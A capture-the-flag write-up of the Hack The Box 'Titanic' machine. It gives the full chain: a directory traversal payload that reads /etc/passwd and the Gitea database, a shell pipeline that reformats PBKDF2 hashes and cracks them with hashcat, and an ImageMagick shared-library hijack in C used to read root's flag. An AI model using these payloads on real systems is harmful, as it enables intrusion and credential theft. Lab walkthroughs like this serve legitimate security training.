🛥️Titanic

Lets’s start with a bit of recon

image.png

22 and 80 open, it’s a web machine as always, let’s enumerate eventual hidden pages and folders

let’s check if there are some subdomains

We found a second service on the server, it’s a local git repository hosting service, Gitea

looking around we found some useful credentials

and the backend routing that hints us for a directory traversal

we can retrieve the ticket json, but there are no checks on the file types to retrieve so let’s try

titanic.htb/download?ticket=../../../../../etc/passwd

something has been downloaded….

wonderful.

We can read user flag (user is “developer”, so titanic.htb/download?ticket=../../../../../home/developer/user.txt will work) and submit it, but need to find a way to get inside.

The Gitea documentation mention a ~/gitea/data/gitea/conf/app.ini config file

Download the Database in the specified path, connect to it and have a look at the user table

http://titanic.htb/download?ticket=../../../../../../../../../home/developer/gitea/data/gitea/gitea.db

sqlite3 gitea.db

.table

select * from user;

it seems to use pbkdf2 for hashing, to make it readable from hashcat we need to do a bit of shenanegans.

This is the format hashcat wants:

so: sha256:1000:MTc3MTA0MTQwMjQxNzY=:PYjCU215Mi57AYPKva9j7mvF4Rc5bCnt

The database extraction contains passwd and salt and says that we have pbkdf2$50000$50 that means that we’re using 50000 iterations.

Moreover, the hashcat example uses base64, we have hex, so the steps are:

  • extract passwd, salt and name select passwd,salt,name

  • for each line, separate the digest, salt and name $digest=(echo $line | cut -d"|" -f1) , $salt=(echo $line | cut -d"|" -f2) and $name=(echo $line | cut -d"|" -f3)

  • for the digest and the salt, print the hex and convert it to base64 echo $digest | xxd -r -p | base64 and echo $salt | xxd -r -p | base64

  • recreate the string in the format "${name}:sha256:50000:${salt}:${digest}"

putting all together we have:

sqlite3 gitea.db "select passwd,salt,name from user" | while read data; do digest=$(echo "$data" | cut -d'|' -f1 | xxd -r -p | base64); salt=$(echo "$data" | cut -d'|' -f2 | xxd -r -p | base64); name=$(echo $data | cut -d'|' -f 3); echo "${name}:sha256:50000:${salt}:${digest}"; done | tee gitea.hashes

thanks to 0xdf’s post for the explaination.

crack it

hashcat -m 10900 gitea.hashes /usr/share/wordlists/rockyou.txt —user

and ssh into the machine

Let's enumerate for some privesc

no sudo -l

no SUID

no useful sockets open

random guess: let’s look for some suspicious ‘scripts’ folder

Let's have a look

The script seems to do the following:

  • change folder

  • truncate log file metadata.log

  • find any .jpg file in /opt/app/static/assets/images/

    • pass it to magick identify command and put it to metadata.log

wtf is magick?

LogoArbitrary Code Execution in `AppImage` version `ImageMagick`GitHub

NICE.

The code used in the poc is the following

gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void init(){
    system("id");
    exit(0);
}
EOF

we’ll change the ‘id’ command to something more useful to us

cat /root/root.txt >> /tmp/root.flag

when the library disappears, the root cron has ben ran and we can check the /tmp/ folder

Done.

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